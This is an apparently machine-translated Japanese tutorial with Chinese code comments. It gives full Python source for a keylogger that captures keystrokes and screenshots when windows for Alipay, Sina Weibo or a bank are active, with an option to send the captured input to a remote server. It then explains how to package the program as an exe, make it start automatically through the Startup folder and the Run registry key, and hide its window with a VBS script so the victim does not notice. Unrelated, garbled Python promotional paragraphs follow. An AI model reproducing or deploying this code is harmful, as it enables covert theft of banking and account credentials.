この記事では、簡単なプログラムを使用してマウスとキーボードのイベントを監視し、ユーザー入力 (特定の Web サイトにログインするためのアカウント番号やパスワードなど) を取得する機能を実現します。テスト後、「ストリーキング」コンピュータはユーザーが入力したあらゆる情報を完全に取得できますが、ウイルス対策ソフトウェアがインストールされていれば十分です。具体的な実装方法は以下の通りです。
1. コード部分 : ユーザー入力情報を取得し、スクリーンショットとともに XX ディレクトリに保存します
# -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() # #也可以将获取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close() def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages()
2. py2exe を使用してスクリプトをパッケージ化します:
次の内容を含む新しい py ファイル setup.py を作成します:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
コマンドラインで次のコマンドを実行します:
pythonsetup.pypy2exe
3. 起動時にプログラムが自動的に起動するように設定します:
ステップ①:
起動時に起動する必要があるファイル (ショートカットを作成してから) を「スタート/すべてのプログラム/スタートアップ」ディレクトリに配置します
ステップ②:
レジストリを変更します: コマンド ライン - regedit で、次のパスに移動します:
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
新しい「文字列値」を作成して編集します: exe ファイルへのパスを設定します
D:workspacemytestpyhookdistmonitor.exe
(上記2つの方法でmonitor.exeを起動すると、コマンドボックスがポップアップして監視ログ情報が表示されます。この場合、監視対象者はすぐに知ることができます。以下の方法をお試しください。 )
ステップ③:
次の内容を含む新しい .vbs ファイルを作成します:
setwscriptObj=CreateObject("Wscript.Shell") wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
ダブルクリックして vbs ファイルを実行すると、monitor.exe がバックグラウンドで起動します (大きな黒いボックスは表示されません)。
次に、①と②の方法を参考に、起動時にvbsが起動するように設定してください。
補足:
1. このプログラムには、自分でインストールする必要があるモジュールが含まれています。
2. 記事内の「D:workspace....」などのパスは、独自の実際のパスに変更する必要があります。
3. このコードは単なるテスト例です。読者は違法な目的で使用しないでください。

Pythonを1日2時間学ぶだけで十分ですか?それはあなたの目標と学習方法に依存します。 1)明確な学習計画を策定し、2)適切な学習リソースと方法を選択します。3)実践的な実践とレビューとレビューと統合を練習および統合し、統合すると、この期間中にPythonの基本的な知識と高度な機能を徐々に習得できます。

Web開発におけるPythonの主要なアプリケーションには、DjangoおよびFlaskフレームワークの使用、API開発、データ分析と視覚化、機械学習とAI、およびパフォーマンスの最適化が含まれます。 1。DjangoandFlask Framework:Djangoは、複雑な用途の迅速な発展に適しており、Flaskは小規模または高度にカスタマイズされたプロジェクトに適しています。 2。API開発:フラスコまたはdjangorestFrameworkを使用して、Restfulapiを構築します。 3。データ分析と視覚化:Pythonを使用してデータを処理し、Webインターフェイスを介して表示します。 4。機械学習とAI:Pythonは、インテリジェントWebアプリケーションを構築するために使用されます。 5。パフォーマンスの最適化:非同期プログラミング、キャッシュ、コードを通じて最適化

Pythonは開発効率でCよりも優れていますが、Cは実行パフォーマンスが高くなっています。 1。Pythonの簡潔な構文とリッチライブラリは、開発効率を向上させます。 2.Cのコンピレーションタイプの特性とハードウェア制御により、実行パフォーマンスが向上します。選択を行うときは、プロジェクトのニーズに基づいて開発速度と実行効率を比較検討する必要があります。

Pythonの実際のアプリケーションには、データ分析、Web開発、人工知能、自動化が含まれます。 1)データ分析では、PythonはPandasとMatplotlibを使用してデータを処理および視覚化します。 2)Web開発では、DjangoおよびFlask FrameworksがWebアプリケーションの作成を簡素化します。 3)人工知能の分野では、TensorflowとPytorchがモデルの構築と訓練に使用されます。 4)自動化に関しては、ファイルのコピーなどのタスクにPythonスクリプトを使用できます。

Pythonは、データサイエンス、Web開発、自動化スクリプトフィールドで広く使用されています。 1)データサイエンスでは、PythonはNumpyやPandasなどのライブラリを介してデータ処理と分析を簡素化します。 2)Web開発では、DjangoおよびFlask Frameworksにより、開発者はアプリケーションを迅速に構築できます。 3)自動化されたスクリプトでは、Pythonのシンプルさと標準ライブラリが理想的になります。

Pythonの柔軟性は、マルチパラダイムサポートと動的タイプシステムに反映されていますが、使いやすさはシンプルな構文とリッチ標準ライブラリに由来しています。 1。柔軟性:オブジェクト指向、機能的および手続き的プログラミングをサポートし、動的タイプシステムは開発効率を向上させます。 2。使いやすさ:文法は自然言語に近く、標準的なライブラリは幅広い機能をカバーし、開発プロセスを簡素化します。

Pythonは、初心者から上級開発者までのすべてのニーズに適した、そのシンプルさとパワーに非常に好まれています。その汎用性は、次のことに反映されています。1)学習と使用が簡単、シンプルな構文。 2)Numpy、Pandasなどの豊富なライブラリとフレームワーク。 3)さまざまなオペレーティングシステムで実行できるクロスプラットフォームサポート。 4)作業効率を向上させるためのスクリプトおよび自動化タスクに適しています。

はい、1日2時間でPythonを学びます。 1.合理的な学習計画を作成します。2。適切な学習リソースを選択します。3。実践を通じて学んだ知識を統合します。これらの手順は、短時間でPythonをマスターするのに役立ちます。


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